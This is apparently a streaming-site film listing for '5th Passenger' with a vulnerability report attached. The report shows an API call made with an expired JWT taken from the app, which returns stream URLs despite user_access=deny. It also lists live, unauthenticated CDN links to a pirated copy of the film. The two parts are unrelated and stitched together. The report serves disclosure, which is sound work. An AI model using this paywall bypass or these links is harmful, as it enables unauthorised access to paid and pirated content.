5th Passenger
Vj Isma K Sci FI 01h 29m 3 years ago

Five crew members are forced into an escape pod built for four after their starship is destroyed. Just as rescue seems imminent, an alien creature boards their craft and attacks them.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/31633/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 45
video_name 5th.Passenger.2018.720p.WEBRip.x264-[YTS.AM] (2).mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://nkuba.b-cdn.net/as86/hyu/5th.Passenger.2018.720p.WEBRip.x264-%5BYTS.AM%5D%20%282%29.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).
